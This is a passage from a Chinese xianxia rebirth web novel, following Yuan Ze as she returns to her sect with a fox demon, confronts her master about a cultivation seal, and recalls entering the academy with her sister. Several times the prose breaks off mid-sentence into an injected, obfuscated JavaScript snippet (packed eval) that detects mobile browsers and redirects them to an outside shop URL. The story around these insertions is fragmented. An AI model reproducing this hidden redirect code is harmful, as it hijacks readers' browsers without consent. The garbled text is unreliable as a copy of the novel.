元泽的目光落在苏遗星紧闭的房门上,思忖片刻还是决定先去找清阳。左右她封了他一半的法力没解,也跑不了。 “物归原主,”元泽将回溯之镜交还,“多谢清阳姑娘,里面我已重新灌注了灵力。” 喜鹊捧着镜子退到清阳身后。 清阳仍如初见那般衣着淡雅,但气色已然好了许多,“仙君客气。” 元泽没有走,反而给自己倒了一杯茶,“姑娘不说些什么吗?” 清阳抬眸,喜鹊收好镜子自觉退下,守在门口。 “我父亲什么时候会醒?” “这个我真不知,还是找给城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元泽告辞,外头漆黑一片已然入夜,小径两旁的灯盏燃着火光,她从中间走过,烛火将白裳衣角映出融融暖色。 她抬起头,望着夜空中零落的几点星子,缓缓呼出一口气。 元泽原本回去找苏遗星,行至半路忽地发现后院最里面隐隐传来喧哗之声,是安置赵子安阁楼的方向。 足间轻点地面,元泽飞身掠去。 “里面好多血!特别吓人!” “春熙怎么办啊?要不我们去请郎中?” 春熙算是几人中最冷静的,她缓缓道:“赵公子已经断气了,城主尚在病中,我们先禀小姐。” 元泽半蹲在树干上,垂眼看着几人商讨,余光忽地瞥见一抹红色身影从阁楼一侧遁入夜色中。 城主府位于浠水城正中间,是全城最繁华所在,一墙之隔,外头是热闹街道,还能隐约听见年轻男女谈笑。 “站住。” 元泽看着墙下的红衣少年。 “……” 良久,苏遗星转身,昏暗的光线中他的五官轮廓清晰昳丽,如雾中花开。 他看着她,雪白脸颊上沾染着一道血迹,“我杀了他。” 元泽看着那道鲜红的痕迹,“我知道。” 苏遗星上前一步,“你要抓我吗?” “擦擦脸,”元泽从袖口拿出一方帕子,见对方没动,她便自己走近。 修长的指尖抬起少年的下巴,巾帕柔软的布料按压揉蹭过他同样柔软的脸颊,血迹消失,肌肤恢复无暇。 苏遗星被迫微微抬着脑袋,纤长眼睫飞快地眨动两下。 然后他听见她说:“不抓你,但你可以选择跟着我。” 8. 命也 赵子安在浠水城丧命一事并没有造成太大风波,清阳差人来告知时,遗体都已经处理了。 元泽还担心几个人钻牛角尖,但魏则荣只是点头表示知晓,竟没多问。 第二日元泽等人在城门口与清阳辞行。 清阳身着淡青色长裳,外罩半透纱衣,妆容清雅精致。 城主卧病不到两日,她已经接手了一部分城中事务。她望着几人,笑容依旧浅淡,“多谢诸位仙君来浠水城相助,奈何家夫命薄,终是天不遂人愿。” 她的身后分别立着两位侍女,一位喜鹊,另一位是与元泽有过两面之缘的的春熙。 察觉元泽的视线,春熙歪头狡黠一笑,露出一颗白尖的虎牙。 元泽眼角一抽,“……” 原来春熙是清阳的人。 清阳怕不是早就知道喜鹊会对赵子安动手,也猜到有人会拦,如果她没有追着苏遗星去阁楼,春熙的那番话也会说给徐丽影与魏则荣听。 “我们走吧,”徐丽影道。 清阳三人看了一眼元泽,又看向苏遗星,在晨光中微微颔首,“恭送仙君。” 苏遗星看向喜鹊,也学她们的动作点了点头。 那日他被打回原型负伤逃命,不慎被喜鹊撞见,对方不仅没有暴露他,还给魏则荣指了一个反方向,否则他也难逃这么久。 “告辞。” 与来时一样,魏则荣取出飞舟,六人一跃而上。 魏则荣向驱动台上灌注灵力,木色飞舟升上空中,向太清宗的方向遥遥行去。 “等等,你怎么也上来了?”周隐站在苏遗星面前,“你不会还要跟着我们回太清宗吧?” 苏遗星垂眼小心地看向元泽,嘴唇抿了抿。 元泽正要说话,周隐急道:“魏师兄!他一个妖怎么能跟着我们!” 魏则荣在前方操控飞舟,徐丽影道:“周师兄,你还是先去休息吧。” “我们这次是错怪了他,但不代表他是好人!妖怪没有一个好东西!”周隐说完转身进入船厢,“嘭”地一声合上移门。 吴语有些发懵,“师兄的反应怎么这么大?宗门里有不少人收妖怪做灵宠呀。” “周隐父母曾因善意收留过一只雀妖,那年天降大寒潮,粮食短缺,那妖怪饿得太狠便对他父母下手了。”徐丽影低声道:“所以周隐憎恨世间所有妖怪。” “原来如此,可是师妹,我们一同入门,我怎么一点都没听说?” “我们上上个外派结束后一起喝酒,他自己说的,”徐丽影看了吴语一眼,“师兄,那时候你应该睡着了。” 吴宇抓抓后脑勺,“是吗……” 太清宗内门分四峰一堂,每隔三年外门弟子有一次进入内门的机会,同时各峰长老也会从中挑选亲传弟子。 徐丽影、魏则荣、吴语皆是同一批内门弟子,同批弟子按照年龄排序。 入门两年有余,这还是他们第一次独自出外派任务,之前都有师兄师姐带着。 元泽撩开衣摆靠坐在甲板上,苏遗星见状,也立刻坐到她身边,红衣和白衣的边缘轻轻挨着。 “师妹,”见到这一幕,吴语凑到徐丽影身边,“你说元泽师姐是不是真的要带这只狐妖回去。” 徐丽影就地盘腿坐下,“不知道。” 她丹田之中灵气精纯充沛,或许用不了多久,她便能结婴。 行至夜间换徐丽影操控飞舟,两个时辰后她的灵力耗尽,短暂休息过后的魏则荣继续接手。 只因他们中唯有魏则荣是元婴期,金丹与元婴虽只隔一个大境界,但其中的差距确是难以跨越的鸿沟。 日出之际,飞舟到达静揽山脉,太清宗依山而建,葱郁的树木与琼楼玉宇仿佛融为一体,薄雾如轻纱缠绕,晨光轻洒,美轮美奂。 护宗结界波纹荡漾,飞舟落在其中一座山顶的演武场,此时演武场已有了不少人,很多弟子都认出这是魏则荣的飞舟。 “他们回来了!” “听说魏师兄结婴了,这般天赋都能比肩却邪峰的那两位。” “欸,你说都是一个娘生的,怎么却邪峰的金玉天资,前几日都到元婴后期了!我们无为峰的活像一块路边石头?” “别说了,”身边的一位弟子杵了杵他的胳膊,“你看那边。” 率先下飞舟的是一道白衣身影。 有什么比背后蛐蛐人,那人下一秒就出现在面前更可怕?弟子捂住嘴,“怎么是她?” “她不是经常独自出外派,从不与人结队吗?” 也有人并不在乎,表情甚至更加不屑,“可能自己搞不定吧,当了五年亲传弟子还是金丹,也是百年难遇。” “不知道大长老怎么看上她的,命真好啊。” “……” 无论是这辈子还是上辈子,元泽听了太多这种话,但她的心境已截然不同。 她怀里抱着一只红狐,毛茸茸的一团几乎填满了她整个怀抱,她的手陷在温热蓬松的毛毛里,轻轻摸了好几把。 苏遗星没有辟谷,一天一夜他只吃了元泽的几块肉干,此时半阖着眼睛没精打采。 魏则荣几人去核销外派,元泽步下演武场,回到自己的住处。 每个亲传弟子都有自己单独的洞府,元泽也不例外。她解开结界,一座简单的青瓦院落便出现在眼前。 进门,一团草绒立刻滚过来蹭她的小腿,蹭着蹭着它忽然发现不对——她都没有摸它! 草绒自己翻涌半天,才从里面顶出两片叶子,看清了眼前的场景,它整团草都僵住了。 一朵淡蓝色的喇叭花从草绒里探出来,崩溃地发出清脆稚嫩的声音:“你你你!在外面有别的毛茸茸了!” 元泽怀里一轻,苏遗星跳了下来,左右环顾半天,才发现是面前的一团草在说话。 “你是草精吗?” 草绒的两片叶子对着他,谨慎道:“关你什么事?!还有!问别人之前,不应该先说自己吗?!” 原来元泽还养了别的妖精,那她应该不讨厌他的。苏遗星喜道:“我是狐狸精!” “哦。” 有什么好高兴的?狐狸精了不起? 元泽已经走到了门边,她摆摆手,扬眉道:“我去饭堂拿点吃的。” 内门的普通弟子半数只是筑基,不能辟谷。她在饭堂选了一些草绒爱吃的素菜和苏遗星爱吃荤菜,回来时见自己门前正等着一位弟子。 “师姐,大长老让您过去。” 元泽倒是忘了,这一世在浠水城多耽误了几天,师尊已经出关了。 灵力包裹将手中的食盒送入门内,顺便留了一道传讯,说自己会晚些回来。 做完这些,元泽直接往沈良凤的洞府飞掠而去。 她的师尊是合体期大能,除了却邪峰的大长老和太清宗宗主,修真界无人能出其右。 前世她日夜苦修却停滞不前的修为、满心的妒恨与不甘也都是拜她所赐。 沈良凤的洞府辟在一处水潭之上,潭中荷叶青翠,荷花四季不败,中央一座五角翘起的三层吊楼,第一层外扩了一片亭台,供人练武品茶。 一道木桥就架在亭台与岸边。 四面浅色罗幔随风飘动,元泽进去的时候沈良凤已经等在了桌案前,一壶清茶摆放在正中。 她在她对面坐下,“师尊。” 沈良凤睁开眼,墨色长发束着一顶白玉冠,无形的威压弥漫开来,半晌,她道:“你的心境变了。” “人都是会变的,况且您已闭关两年。” 沈良凤不置可否,“修炼如何了?” “还是金丹期,”元泽看着她,“您不是早就知晓。” 沈良凤垂眼理了理自己的广袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241367|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“修仙一途道阻且长,你不必急躁,徐徐图之方乃上策。” 前世沈良凤也是如此对她说的。 但元泽却没有同上一世一样受教聆听,再怔然说一句:“玉华三年前就结婴了。” 她开门见山:“师尊,我知道你有自己的考量,但我不想平庸无为的过一辈子,还请师尊解开我体内的禁制。” “哗——” 一股浑厚的灵力从沈良凤体内散开,罗幔无风自动,无形的结界隔绝所有。 “你是如何知道?!” 沈良凤眉心紧皱,早在太清学府她就在元泽体内落下压制修为的禁制,收元泽为徒后她更是多次检查加固,且从没有外人在场,不可能会被发现。 难道——沈良凤嗓音冰寒,“你不是元泽?” “我是元泽。”元泽扶住桌面,被合体期大能无形中释放的威压压得脸色发白,“师尊,你信重生转世之说吗?” 沈良凤下意识道:“无稽之谈!” 元泽定定地看着她,面色沉静,眸中不见丝毫浮躁之色,好像潭底历经流水千年打磨的粝石。 “你……” 沈良凤语带凌厉,“既说你是重生,我只一问,上辈子你如何丧命?” 元泽道:“被人夺舍。” “何人?” “太清宗掌门。” 半晌,沈良凤莫名哂笑,“命也。” 就算上一世不得善终,元泽也不愿信命。 “师尊,解开禁制吧。” “你既是重生之人,就应当明白失去禁制后你会面临什么,”沈良凤的指尖不停敲击桌面,“你如此天赋,她不会放过你。” 元泽自是清楚,“沈若淳一年后才会出关,我到时会避开。” “沈若淳没有闭死关,他随时可以出来!只要入太清学府,每个人的修行进度就被全盘掌握,你根本躲不了。” 沈良凤闭了闭眼,“元泽,活着才是最重要的,你就这样待在无为峰不好吗?” 元泽扯了扯嘴角,“可我不想这样。” “……因为你妹妹?”沈良凤想起她很关注杜若华的修为,“你们是姊妹,总不至于因为这个生分。那些小崽子的闲话也不必放在心上。” 元泽抿了抿唇,看着师尊没有说话。 “……” 沈良凤太了解元泽,看起来内敛温柔,不显山露水,其实是个倔强的性子。 “你先回去,我来看看能否修改禁制,只压制你一部分的灵脉。” 元泽一下扬起眉梢,“多谢师尊!” 回到洞府,小院的木门开了一道细缝,结界没有被破坏的痕迹。 如果不是里面的人出来,那就是——元泽推开门扉,果然见院里的藤木秋千上坐着一个熟悉的身影。 “阿姐你回来啦!”杜玉华的样貌比元泽讨喜许多,点朱唇鹅蛋脸,笑起来梨涡深深,很容易让人心生好感。 元泽进门,一青一红两道影子唰地围了过来,“有什么事么?” 杜玉华瘪嘴,“一定有事才能来找你吗?听说你这次同魏则荣他们一起回来的?是外派遇到什么麻烦了吗?” “没有,”元泽蹲下身,先捏了捏草绒,然后摸了摸苏遗星的脑袋。 “你是我阿姐,如果遇到麻烦一定要告诉我,只有我会真心帮你的。” 元泽没抬眼,“嗯。” 杜玉华站起身,“阿姐,你是在怪我吗?” “怪你?”元泽有些疑惑,不光是她的话,更最要的是,前世的这个时候,杜玉华根本没有来找她。 “我前日突破至元婴后期,”杜玉华走到元泽面前,“可不管他们怎么说,你都是我阿姐。” “……” 如果是重生前的元泽,心底多少会感动一番。因为在这个世上,很少有人会这么“关心”她。 9. 前世(一) 元泽和杜玉华出生偏远村落,家中虽不富裕但温饱可足,父母都是顶顶好的人。 离家的前一天夜里,母亲握着她的手,“阿元。” 元泽双目圆睁,感受着母亲粗糙手掌传递过来的温暖,“娘。” 母亲柔声道:“白日拾柴,手是不是伤着了?” “一点点,”元泽抿了抿唇,被母亲覆住的手指悄然用力,破皮的口子立刻渗出血迹。 “以后可不能这般粗心了,唉,你们去那么远求仙,我和你爹哪能放心啊。” 好像有蜜糖在心口化开,元泽连连点头,有些幼态的小脸一下生动起来,“嗯嗯,我会听话的。” 母亲摸了摸她的脑袋,“乖,在外面一定要照顾好自己和妹妹,妹妹年纪小,从来没有出过远门。” 元泽还是点头,“嗯。” 母亲又絮絮叨叨说了一些妹妹饮食和生活上的习惯,直到元泽犯困才停下。 “好了,你好好休息,我回房了。” 温暖的大手一下挪开,元泽清醒过来,“娘……” 门已经关上。 她听见隔壁的木门打开,妹妹委屈的声音隐约传了过来,“娘你去哪了?被窝冷死了。” “没去哪……” 元泽一下空落起来,未说完的话就再也说不出来—— 娘,明日就要走了,你能陪我睡一晚吗?像抱着妹妹一样抱着我。 元泽缩在床榻上,她皱了皱泛酸的鼻头,手背搭在热热的眼眶上。 好讨厌,都怪伤口太疼了。 第二天母亲给女儿收拾好行囊,一家人吃了最后一顿饭。 “阿玉,太清学府这么远,一定要去吗?”母亲摸着小女儿细嫩的脸庞,眼眶有些泛红。 父亲背着手,“既然下定决心,就不要顾虑太多,阿玉,爹相信你!” 杜玉华抹了一把眼睛,将心中的不舍压制下去,与母亲双手交握,“爹娘你们放心,我一定会有出息的!” 元泽站在杜玉华身后,右手踌躇着又放下,只在心中默默想着,她也会有出息的。 送别到村口,村里的人都知道了杜家的两个女儿要去求仙,不少人提着菜篮子扛着锄头来看热闹。 “修仙哪有那么容易,我听说是需要仙资的,有些人刻苦数十年也是白费!” “阿玉从小就机灵,说不定还真的能成呢!” 母亲积攒一路的眼泪终于落下,“保重啊,阿元你一定要照顾好阿玉。” 元泽认真地点点头,她背着两人所有的行囊,足足有她半人高,单薄的肩头因为用力微微前倾,“我知道的。” 两人一路向东行,爹娘给的钱两不多,元泽只花在打尖住店上,虽谈不上风餐露宿,但也没有好太多。 杜玉华把手中的干粮塞进元泽手里,“天天吃这个!难吃死了!” “再坚持一下,还有两日就到了,不吃怎么有力气呢?”元泽递过去一只水壶,“要不要喝点水?” “不要!”杜玉华一把推开元泽的手。 没有办法,最后元泽只能带着她去了一家饭馆。 杜玉华好几天没吃过热乎饭菜,当即大快朵颐起来,元泽咽了咽口水,继续嚼手中的干粮。 一十八座太清学府遍布凡世,元泽去的并不是规模最大的一座,但也足够繁华。 里面的一砖一瓦,都比她见过任何东西都精美漂亮。 宽阔整齐的白玉阶铺陈百丈高,尽头是一座青砖玉瓦的三门殿,正中间的无相门上悬挂一块琉璃牌匾,上刻“太清学府”四个大字,角度或光线不同,牌匾的颜色也会有细微的变化。 “小姑娘,想入学府步行上去便可,”台阶下穿着蓝白衣袍的弟子照旧提醒。 日头尚早,台阶上零星有十几个人,无一例外每个人的步伐都很缓慢。 “这么简单?!”杜玉华很惊喜,虽然玉阶很长,但走上去顶多费些时间,太清学府的入门考核很简单嘛。 弟子但笑不语。这时又有一个三十来岁的男人走了过来,他显然不是第一次来,站在台阶前表情紧张,而后缓缓踩了上去。 一阶、两阶、三阶——嘭! 男人刚上第三阶,整个人被无形的屏障弹飞出去,摔在几丈外的空地上。 “回去吧,你没有灵根。”那弟子道,“无论你来多少次都是一样的。” 男人爬起来,盯着偌大雄伟的仙府,“凭这个破台阶你就能断定我没有灵根?!” “你既不信,又何必来太清求仙。” 就在这时,台阶三分之一处有人脚步不稳滚了下来,眼看着就要将下方一人也带下去,另一端的弟子立刻阻止,一道灵力护罩裹住滚落的人,将他从台阶带到地面上。 蓝白衣袍的弟子摇摇头,“心志不坚。” “阿姐,我们也上去吧,”杜玉华终于感受到这件事根本没有表面那么简单,她有些紧张地看向元泽。 一边的弟子提醒,“小姑娘,长路漫漫,劝你放下行囊。” 元泽的包裹已经小了大半,里面只有一些用具和衣物,碎银只剩一块在她的襟口。 “是啊阿姐,”杜玉华连连点头,“本来就不好走,你不要背着这些东西了。” “……好,”元泽小心地将包裹放在角落,又对太清宗的弟子道:“可以麻烦你帮我看一下吗。” 其实她有些舍不得,里面还有两件衣服,是母亲前年和去年给自己裁的呢,万一弄丢就没有了。 弟子看着眼前只到自己胸口的小姑娘,有些好笑,“行。” 小小年纪正是不知天高地厚的时候,说不定没上三阶就下来了,还担心那么多。 然而一炷香后,他就笑不出来了。 两个的半大姑娘互相搀扶着,已经走到了台阶中部,超越了原本台阶上一大半的人。 “阿姐,我好累啊,”杜玉华挽着元泽的手臂,额上已经渗出了一层薄汗。 元泽担着杜玉华的小半重量,沉默地往上走。只剩那么点银子,如果她们没有成功,回去恐怕连店都住不起。 手臂上挂着的人越来越重,元泽稍微缓下脚步,三门殿还有不到四分之一的距离。 杜玉华皱着眉,好像五官都在用力,她喘了好几口气,“阿姐……你不累吗?” 元泽摇摇头,“不累。” 说来也怪,台阶上的人无一不是竭尽全力在走,好像背上压了千斤重担,但她没有感觉,好像在走普通的阶梯一样。 早知道她就带着包裹了。 元泽的话好像刺激了杜玉华,她们是姊妹,她可以,那自己也一定可以! 杜玉华积攒起最后的力气,与元泽一起缓慢踏上了最顶端。 “恭喜!”早有人候在终点,比她们大不了多少的姑娘身着蓝白色窄袖裙裳,显然也是太清学府的弟子,“你们是近一个月,唯二通过考核的人哦。” 她比了一个大拇指,目光在元泽身上转了好几圈,“而且只用了半个多时辰,比我当初还要快上一些呢。” 杜玉华坐在地上直喘气,元泽扶着她,突然想起什么抬头问:“我东西还在下面,什么时候可以去取?” “……” 不是,这两个人有没有听她说话?!怀荧跺脚,“哼!什么东西我给你拿!” 怀荧说到做到,她从最侧边未设结界的小阶梯下去,很快在角落看见了一团丑了吧唧的红绿色碎花布包裹,她遮住脸,一把拎起来就往回跑。 “诶,怀荧师妹,你拿的什么东西?” 正巧有人从学府出来,一眼就看见那个红绿相间的不明物体。 “不是我的!”怀荧脚步更快了。 通过考核即代表有进入学府的资格,怀荧离开没多久,就有一位头戴玉冠身着道袍的男人走了过来,“我是学府司教,你们跟我进来吧。” 杜玉华忙不迭点头,元泽有些犹豫,“能等等吗?” “阿姐,”杜玉华不太乐意,都进太清学府了,那些东西还有什么好要的。 好在怀荧速度够快,隔了老远就将包裹精准地扔进元泽怀中,“接着!” 元泽抱住,这才放心地跟着司教进去。 进了三门殿是一片阔大的广场,往里面依次是教学区域、生活区域和寝室。 司教简短介绍,带着两人一路进去,各领了两套学府制服和一枚玉简,玉简是和一块巴掌大的黑石头一起推出来的。 元泽和杜玉华按照要求,在玉简和石头上各滴了一滴精血。 司教道:“玉简代表你们在太清学府的身份,切记随身携带,否则无法通过学府的结界。” 最后他带着两人进了一间寝室,“你们便住在这,明日辰时到演武场,换好衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241368|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要迟到。” “是。” 司教一走,杜玉华一下松垮起来,扑到其中一张床上,“没想到这么顺利!啊…好软好舒服……” 元泽将一堆东西放在桌上,一边整理一边道:“阿玉,要不要试试衣裳?” “好!”杜玉华眼睛一亮,一骨碌爬起来确定窗户关好,满心期待地换上新衣裳。 “布料好软啊,比家里的衣裳好多了!”杜玉华将换下来旧衣撂在一边,捞起最后一条月白色发带,在头上比划了一下,“阿姐这个怎么弄啊?” 元泽收起她丢下的衣裳,“等会我给你扎。” “嘿嘿,阿姐你真好,”杜玉华没再管发带,她提起裙摆转了一圈,由衷感叹:“修仙可真好啊。” 元泽将包裹安置好,然后给杜玉华绑好头发,自己最后才换衣裳。 她又在屋子里找到一只木盆,将两人换下的衣裳端出去洗净。 杜玉华撑着下巴,“我饿了,阿姐等你回来我们去饭堂吧。” “好。” 太清学府的饭堂每日按时提供吃食,但口味不详,许多弟子吃了两顿就没再进来过。 杜玉华拨了拨盘子里的绿油油的芹菜,“阿姐,我感觉在吃草。” 元泽不语,只一味地吃米饭。 “好巧!” 突然元泽身边的凳子被一把挪开,桌上多了一只饭盘,“还记得我吗?” 少女长着一张幼态的娃娃脸,朱唇杏眼,看着就惹人欢喜。 元泽点点头,“还要多谢你帮我拿包裹。” 杜玉华看着对面的两人,脸上的表情淡了一些。 “好说,以后我们就是朋友了,我名怀荧,你叫什么?” “我叫杜玉华,这是我阿姐杜元泽,”杜玉华朗声道:“怀荧师姐,你是什么时候入学府的啊?” “半年前,我原本不想来的,可我娘非要给我说亲,没办法,只能过来躲躲。”怀荧从布兜里掏出一个小瓦罐,熟练地打开木塞,将里头的东西挖在米饭上。 一股咸香弥漫开来。 杜玉华咽了咽口水,“你与我差不多大吧,这么早就说亲吗?” “来点?”怀荧将瓦罐往前推了推,“我已经及笄了,你们多大?” “我十三,阿姐十四,”杜玉华接过来,一勺盖在自己米饭上,一勺放进元泽的盘子里,“好香啊,谢谢。” “是吧,我特意买的,不然谁吃得下这里的饭啊。”怀荧将这一幕看在眼里,难怪上测灵阶的时候杜元泽会拉着杜玉华,原来她们两姐妹关系这么要好。 杜玉华深表赞同。 “明日真有太清宗的长老来?” “我听司教说的,错不了!如果长老觉得我天赋异禀,一下看中我,要收我为徒就好了。” “做梦。” “哈哈哈……” 三四个少年一边说话一边走进饭堂。 杜玉华好奇,“太清宗的长老要来?” 怀荧点头,“太清宗每年都会下派一名长老来学府执教一个月,你们刚来就能遇上,运气真好。” “那岂不是能见识到传说中的仙人了!”杜玉华一脸憧憬。 “我们如何才能进太清宗?”元泽问。 世人皆知太清宗是天下第一修仙门派。余下的全体修者不抵太清宗五分之一,无论有没有门派,都统称散修。 而想进入太清宗,则需要先入太清学府。 “简单,太清十八学府每三年一次入宗考核,只要筑基便能通过。”怀荧道:“离下次考核还有两年,你们加把劲儿说不定能赶上。” 杜玉华叹了一口气,“承你吉言。” 也许是太清宗长老来访的消息传开了,翌日,天边刚泛起鱼肚白,演武场上就聚满了人。 怀荧一早来元泽寝室等她们,此时三人一起来到演武场,杜玉华走在中间,仿佛有说不完的话,怀荧也爱聊天,两人简直相见恨晚。 元泽安静地走在一边,她沉默惯了,偶尔怀荧主动问她话她才会回答两句。 就在这时,一道流光从远处落向高台,不过眨眼功夫,高台上多了一个手持灵剑、银冠高束的女人。 “长老来了。” 不知是谁说了一句,偌大的演武场立刻寂静下来。 元泽愣住,这个人……她曾经似乎见过。 10. 前世(二) 元泽只长杜玉华一岁,但她很早就开始帮家里干活,挑水放牛、洗衣洗碗,诸如此类,她多少都要做一些。 每年过冬前她去山上拾柴,没有炭火的冬天格外难熬。 半人高的小孩,背着一个大大的竹篓,在路边捡根探路的棍子,就往山里去了。 有一回她走得远了些,瞧着天色准备回去。一阵劲风突然从山里刮出来,她背上的篓子本就不轻,当即摔了一个屁股墩。 抬头一看,一只她从没见过的四脚兽歪倒在地,冒着黑气,那阵风就是它带来的。 四脚兽摔的不轻,在地上不停地抽搐,一双猩红的眼睛锁在元泽身上。 她浑身一凉,顾不得什么柴火,爬起来拔腿就跑。 不知是哪个方向,她只管拼命往前跑,然而没跑多远,身后脚步追了上来,仿佛催命,她甚至能感受到灼热腥臭的吐息就悬在自己脑后。 怎么办?怎么办!她根本跑不掉! 突然她看见左前方有一只小黄狗被捕兽夹咬住了腿,四肢往后蹬着试图逃脱。 如果……如果这个怪物吃了它,应该就不会吃自己了吧…… 求生本能作祟,她体内突然爆发出一股力量,脑袋上的呼吸声远了些,她朝那边奔去,小狗越来越近——它真的很小,比村里的野猫还要小。 坚硬的铁齿染着血红,好像要将它的腿夹断一样。 小黄狗抬起头,它有一双琥珀色的眼睛,清亮又湿润,单纯又懵懂。 那一瞬间元泽也不知道自己是怎么想的,她猛地扑到地上,将小狗护在自己怀里。 她紧紧闭上眼,抖着手去掰捕兽夹。 元泽身后,四脚兽张开嘴,牙口森森,眼看就要碰到她的发顶。 然而下一刻,女孩身体突然荡出一道白光。很微弱,却在触碰到怪物的瞬间将其弹飞数丈远,猛地撞歪了一棵松树。 不知死活。 元泽只觉得自己血液滚烫,好像身体里有火在烧,她回过头,见到一个手持长剑的女人站在怪物边上。 女人也看着她,目光带着审视,最后也只是平静收回。 “剿灭异兽群漏了一只,是我疏忽连累你。”女人抬掌拍下,四脚兽顿时化作黑烟消散,“小姑娘,可有受伤?” 元泽愣愣地看着她,“……没有。” 女人手中剑变大数倍漂浮而起,她踩在剑上,最后看了她一眼,“我们或许还会相见。” 她说得没错,元泽确实又见到她了。 “阿姐你怎么了?”杜玉华拍了拍她的肩膀。 元泽回过神,“没什么。” 高台上的女人吸引了所有目光,少年们无不憧憬,幻想着自己也能走到那一步,日行千里,抬手间翻山倒海。 几位司教轮流说了一些元泽似懂非懂的话,不外乎大道法则,玄妙高深。 直到最后,太清宗的长老也没开过口。 演武场晨修过后,便真正开始每日的听课和修炼。 太清学府按照入府顺序分班,以天干地支命名,每班七十二人。元泽与杜玉华分到壬班,与怀荧在一处。 “我们真是有缘,”趁着司教还没有来,怀荧半趴在元泽的桌案前,“加上你们,我们班正好七十二人,后头再有人来要开新班了。” 杜玉华好奇,“每个班都七十二人吗?如果有人通过考核进太清宗,不就少人了?” “成班之后不会变动,只要七十二人有一人还在学府,那一个人就是一个班,”怀荧撑着下巴,“好比现在的甲班,据我所知只剩下二十来人。” 元泽问:“其他人都进太清宗了?” “对,除了主动退出学府的,”怀荧看着她们的表情,“你们也别高兴得太早,知道甲班最小的学生多大吗?五十五了!” 杜玉华长大嘴巴:“啊?那他们还有力气修炼吗?” “呵,想什么呢,甲班现在哪还有人在学府,家境富庶还好,出身贫寒的人平白蹉跎大半生,怎一个惨字了得!” 一个俊秀少年突然探身过来,搭配着自己的话,做出一个悲惨心酸的表情。 怀荧撇他一眼,“学府教学分文不取,没有天份又学不会及时止损,怪谁?” 青年忙不迭点头,“师妹说的是。” 怀荧叹了一口气,“那些离开学府又没有主动提出退出的人,只能等他们寿终正寝,命石碎裂。” 命石,元泽想起和玉简一起滴入精血的那块黑色石头。 “司教来了!” 不知是谁说了一句,堂中立刻安静,怀荧连忙爬起来回到自己的位置。 壬班的司教是一位上了年纪的老者,他展袖坐在案前,扫视一遍堂下的人,目光炯炯,“我们壬班今日算是正式成班,有些东西我再讲一遍,也免得有些人给我忘干净啰!” 修仙一途共分九个大境界,依次是炼气、筑基、金丹、元婴、化神、炼虚、合体、大乘、渡劫。元婴期后,每一境界又分初期、中期、后期、圆满四个小境界。 传说渡劫期圆满天道会降下九九雷劫,度过雷劫后方能飞升成仙。 但仙古时期后,从没有人到达过渡劫期,当今最接近这个境界的是太清宗掌门沈若淳。 “天地万物滋生灵气,引气入体便到达了第一个境界,”司教捋了捋自己的胡子,“在坐诸位都有灵根,这第一步不难,难的是将灵气汇聚丹田,用以施展术法。换句话来说,其实筑基才算是一个真正的修士。” 引气入体。 元泽脑海中浮现这四个大字,她微微阖上眼,试着感受了一下。 似乎真的有一股暖流流入身体的脉络,她控制着那股暖意聚集到指尖。 沈良凤停下脚步,窗明几净的学堂,学子整齐端坐,最后一排靠边的少女身形清瘦,用发带束着简单的马尾。 她的左手放在桌面下,食指指尖散发出淡淡的白色灵光。 是炼气期控制灵力最基本的模样。 倒是个努力的孩子。 司教突然面色一凝,看向窗外,底下坐着的少年们也都跟着转过脑袋。 沈良凤一哂,直接抬步走了进去。 “长老,”司教起身相迎。 沈良凤颔首,她在堂下绕了一圈,路过最后排少女的时候放缓步子。 元泽感觉到了什么,抬起头,见到一张不算太陌生的脸。 “……”沈良凤嘴角的淡笑隐去,“你何时入学府的?” 元泽如实答:“昨日。” 也就是说短短一天的时间,她就掌握了引气入体。 就算是天生灵体,也太过恐怖。 授课结束,午时休息。 众多目光不约而同地落在元泽身上。 元泽实在不习惯,只觉如芒在背。 “元泽,长老居然主动问你话,”怀荧很是兴奋,“是不是看出你天赋异禀了!” 杜玉华看了元泽一眼。 “应该不是,”元泽有些无奈。 长老大约是认出她了,只是长老方才的表情怪怪的。 不过元泽也没多想,自己只是一个普通人,与那位长老应该很难再有什么交集。 但元泽想错了,交集很快就来。 几日的时间元泽与杜玉华已经适应了学府的修行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果说方才杜玉华的表现只是让众人惊叹,那元泽这个完全逆天。 “我没有看花眼吧?” “她是不是进学府前就开始修行了?” 否则根本无法解释。按她这个速度,恐怕用不了多久要筑基了。 在满堂喧哗中,沈良凤目光凝重,离开时她悄声在元泽耳边留下一句话:明日课后来我屋中。 元泽一愣,在她身边杜玉华也听见了,她看着自己的姐姐,晦暗神色一淌而过,“阿姐,你之前修行过?” “没有,”元泽不知道她为何会问出这种天方夜谭的话,她在家中少有闲暇,而且谁会教她这个? “那你怎么会做到如此地步?” 怀荧大笑着扑了上来,“元泽你太牛了!我就知道你是个天才!” 那天过测灵阶时她就看出元泽非池中物,果不其然。 